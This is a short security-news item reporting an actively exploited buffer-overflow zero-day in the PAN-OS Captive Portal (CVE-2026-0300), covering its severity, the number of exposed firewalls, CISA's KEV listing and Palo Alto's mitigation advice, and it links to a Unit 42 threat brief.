The Ugly | Palo Alto Warns of Critical Flaw in PAN-OS Enabling Remote Code Execution

Palo Alto Networks customers were issued an urgent warning this week regarding a critical-level, unpatched zero-day vulnerability currently being exploited in the wild.

Tracked as CVE-2026-0300, the buffer overflow flaw directly impacts the PAN-OS User-ID Authentication Portal (aka the Captive Portal), enabling unauthenticated attackers to execute arbitrary code with root privileges using specially-crafted packets.

With a CVSS score of 9.3, the vulnerability presents an immediate risk to enterprise networks. Threat watchdog Shadowserver has currently identified over 5,000 vulnerable firewalls exposed online, primarily concentrated across Asia and North America.

This actively exploited vulnerability adds to the growing pattern of targeting edge infrastructure. PAN-OS has a well-documented history of severe zero-days, and with 90% of Fortune 10 companies and many major U.S. banks depending on it, the exposure is significant. CISA has added the flaw to its Known Exploited Vulnerabilities (KEV) catalog, setting mandatory remediation deadlines for federal civilian agencies.

With a patch not expected until mid-May, Palo Alto is urging administrators to secure affected environments immediately, starting by confirming exposure via the device’s Authentication Portal Settings. To successfully mitigate the threat of remote code execution, security teams can restrict all User-ID Authentication Portal access exclusively to trusted internal IP addresses. If strict network segmentation is impossible, organizations are being advised to disable the Captive Portal service until updates can be safely applied.

Unit 42 details CVE-2026-0300, a buffer overflow vulnerability in the PAN-OS User-ID Authentication Portal. Read now for details.

The post Threat Brief: Exploitation of PAN-OS Captive Portal Zero-Day for Unauthenticated Remote Code Execution appeared first on Unit 42.